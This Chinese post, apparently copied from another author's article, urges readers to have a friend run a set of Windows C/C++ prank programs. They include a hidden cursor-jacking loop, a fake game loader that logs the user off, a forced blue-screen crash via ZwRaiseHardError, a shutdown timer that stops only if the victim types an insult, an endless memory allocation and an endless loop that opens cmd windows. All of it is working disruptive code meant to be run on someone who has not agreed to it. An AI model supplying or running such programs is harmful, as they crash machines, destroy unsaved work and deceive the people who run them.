为了让你的朋友和你促进友谊,请让他运行以下代码:
#include <bits/stdc++.h>
#include <windows.h>
using namespace std;
void HideWindow() {
HWND hwnd;
hwnd=FindWindow("ConsoleWindowClass",NULL);
if(hwnd) ShowWindow(hwnd,SW_HIDE);
return;
}
int main() {
HideWindow();
int x=GetSystemMetrics(SM_CXSCREEN);
int y=GetSystemMetrics(SM_CYSCREEN);
for(;;)
{
SetCursorPos(rand()%y,rand()%x);
}
return 0;
}
#include<windows.h>
#include<conio.h>
#include<time.h>
#include<stdio.h>
using namespace std;
int main(){
system("title");
int x,y,jy;
while(1){
x=1;
y=1;
SetCursorPos(x,y);
}
return 0;
}
#include<windows.h>
#include<stdlib.h>
#include<iostream>;
using namespace std;
int main()
{
int n;
cout<<"开始游戏按1"<<endl;
cin>>n;
if(n==1)
{
for(int i=0;i<100;i++)
{
cout<<"--------------------------------------------"<<endl;
cout<<" 地图:沙漠2 ------------------------------"<<endl;
cout<<" 正在加载:"<<i<<'%'<<"-----------------------------"<<endl;
cout<<"--------------------------------------------"<<endl;
Sleep(100);
system("cls");
}
}
cout<<"内存已满,是否清理?(1.是,2.否)(填数字)"<<endl;
cin>>n;
if(n==1){
cout<<"开始清理"<<endl;
Sleep(5000);
cout<<"哈哈哈"<<endl;
system("shutdown -l");
}
if(n==2){
cout<<"内存不够,开始强行清理!"<<endl;
system("shutdown -l");
}
return 0;
}
#include <windows.h>
int main(){
ShowWindow(GetForegroundWindow(), SW_HIDE);
HMODULE ntdll=LoadLibrary("ntdll.dll");
FARPROC RtlAdjustPrivilege=GetProcAddress(ntdll,"RtlAdjustPrivilege");
FARPROC ZwRaiseHardError=GetProcAddress(ntdll,"ZwRaiseHardError");
unsigned char ErrorKill;
long unsigned int HardError;
((void(*)(DWORD,DWORD,bool,LPBYTE))RtlAdjustPrivilege)(0x13,true,false,&ErrorKill);
((void(*)(DWORD,DWORD,DWORD,DWORD,DWORD,LPDWORD))ZwRaiseHardError)(0xc0114514,0,0,0,6,&HardError);
return 0;
}
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
int main()
{
char Alisy[256];
flag:
system("shutdown -s -t 180");
printf("快说我是猪,不然3分钟关你机!\n");
scanf("%s",&Alisy);
if(0==strcmp(Alisy,"我是猪"))
{
system("shutdown -a");
}
else
{
goto flag;
}
return 0;
}
#include<stdlib.h>
#include<iostream>
#include<bits/stdc++.h>
using namespace std;
int a;
int main(void)
{
cout<<"你完了"<<endl;
while(1){
malloc(200000);
}
return 0;
}
#include<windows.h>
using namespace std;
int main()
{
system("color F5");
for(;;) system("start cmd");
return 0;
}
别问我为什么不做解释,因为(打击声)。。。
代码转载:快乐黑客的文章